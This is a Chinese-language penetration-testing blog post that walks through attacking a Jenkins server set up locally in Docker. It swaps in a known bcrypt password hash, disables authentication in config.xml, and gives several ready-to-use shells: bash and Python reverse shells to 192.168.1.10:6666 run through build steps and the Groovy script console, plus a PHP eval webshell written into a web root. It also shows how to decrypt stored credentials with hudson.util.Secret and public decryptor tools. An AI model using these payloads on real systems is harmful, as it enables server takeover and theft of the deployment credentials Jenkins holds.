何为jenkins
jenkins是一个自动化服务器,支持开发者在软件开发过程中自动化各种任务,如构建、测试和部署应用程序,里面会存放一些账号密码,例如
1.登录到服务器、数据库(SQL Server、MySQL、PostgreSQL)、容器平台(Docker)或云服务(AWS、Azure)的账号和密码
2.Git、Subversion 等版本控制系统的账号和密码或访问令牌
3.邮件服务器、Slack、或其他通信平台的登录凭据
安装jenkins
docker pull jenkinsci/blueocean
mkdir -p /usr/local/jenkins
chmod 777 /usr/local/jenkins
docker run -d -p 8099:8080 -p 50099:50000 -v /usr/local/jenkins:/var/jenkins_home --name myjenkins jenkinsci/blueocean
docker ps
docker exec -it 1db /bin/bash
cat /var/jenkins_home/secrets/initialAdminPassword
访问8099端口把密钥粘贴进去
安装以后创建账号,登录
替换用户hash登录
在/usr/local/jenkins/users目录
把下图里的密码改为如下(对应密码abc-123)
<passwordHash>#jbcrypt:$2a$10$PerJswtfjaa6ukA1t0K/ueUK5CI3rjA1.XUx4wCQt88dhihfxObBW</passwordHash>
重启jenkins然后登录,利用完在改回来
admin密码目录jenkins/users/admin,操作和替换的字符串同上
jenkins目录下有个config.xml文件,如下图的三个地方改为如下
将 <useSecurity>
设置为 false,
将
重启该容器
再访问发现不用登录就可访问
getshell手法
1.创建一个任务,如下图配置
#!/bin/bash
# ... 其他脚本内容 ...
/bin/bash -i >& /dev/tcp/192.168.1.10/6666 0>&1
立即构建,弹回来了
2.安装Terminal Plugin
3.wget下载py脚本然后执行,此办法不需要root权限
def pythonScript = """
import socket, subprocess, os
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.1.10", 6666))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
subprocess.call(["/bin/sh", "-i"])
4.脚本命令行
// 创建两个 StringBuffer 对象来收集标准输出和标准错误流的内容
def sout = new StringBuffer(), serr = new StringBuffer()
// 将[INSERT COMMAND]'替换为要执行的系统命令
// '.execute()' 方法会在操作系统层面执行这个命令
def proc = '/bin/bash -i >& /dev/tcp/192.168.1.10/6666 0>&1'.execute()
// 'consumeProcessOutput' 方法将命令的标准输出和错误输出重定向到前面创建的 StringBuffer 对象中
proc.consumeProcessOutput(sout, serr)
// 'waitForOrKill(1000)' 会等待进程执行完毕,或者在 1000 毫秒(1 秒)后杀死进程
proc.waitForOrKill(1000)
// 打印出标准输出和错误
println "out> $sout err> $serr"
5.网站存在web php服务
new File("/var/www/html/media.php").write('<?php @eval($_POST[s3cpu1se]);?>');
def webshell = '<?php @eval($_POST[s3cpu1se]);?>'
new File("/var/www/html/media.php").write("$webshell");
解密jenkins密码
1.${JENKINS_HOME}/credentials.xml里会存放用于不同任务和插件的加密凭据数据,可能包括用户名和密码、SSH 私钥、秘密文本、API 令牌,形如如下格式
<passphrase>{AAAAAAAAAAAANzxft/rDzyt8mhxpn3O72dxvVqZksL5vBJ4jNKvAjAA=}</passphrase>
使用 hudson.util.Secret.fromString("明文密码").getEncryptedValue()
加密
文件地址
$JENKINS_HOME/credentials.xml
$JENKINS_HOME/secrets/master.key
$JENKINS_HOME/secrets/hudson.util.Secret
$JENKINS_HOME/jobs/example-folder/config.xml
单个票据解密,先管理员登录,然后在/script里解密
println(hudson.util.Secret.decrypt("{XXX=}"))
抑或
println(hudson.util.Secret.decrypt("{XXX=}"))
或者工具
https://github.com/hoto/jenkins-credentials-decryptor
命令
./jenkins-credentials-decryptor \
-m $JENKINS_HOME/secrets/master.key \
-s $JENKINS_HOME/secrets/hudson.util.Secret \
-c $JENKINS_HOME/credentials.xml \
-o json
2.如果用publish_over_ssh插件,密码会存放与
${JENKINS_HOME}/jenkins.plugins.publish_over_ssh.BapSshPublisherPlugin.xml
解密工具
https://github.com/rabbitmask/Jenkins_Credentials_Crack
信 安 考 证
CISP、PTE、PTS、DSG、IRE、IRS、NISP、PMP、CCSK、CISSP、ISO27001...
推荐阅读
渗透实战|记一次简单的Docker逃逸+反编译jar接管云主机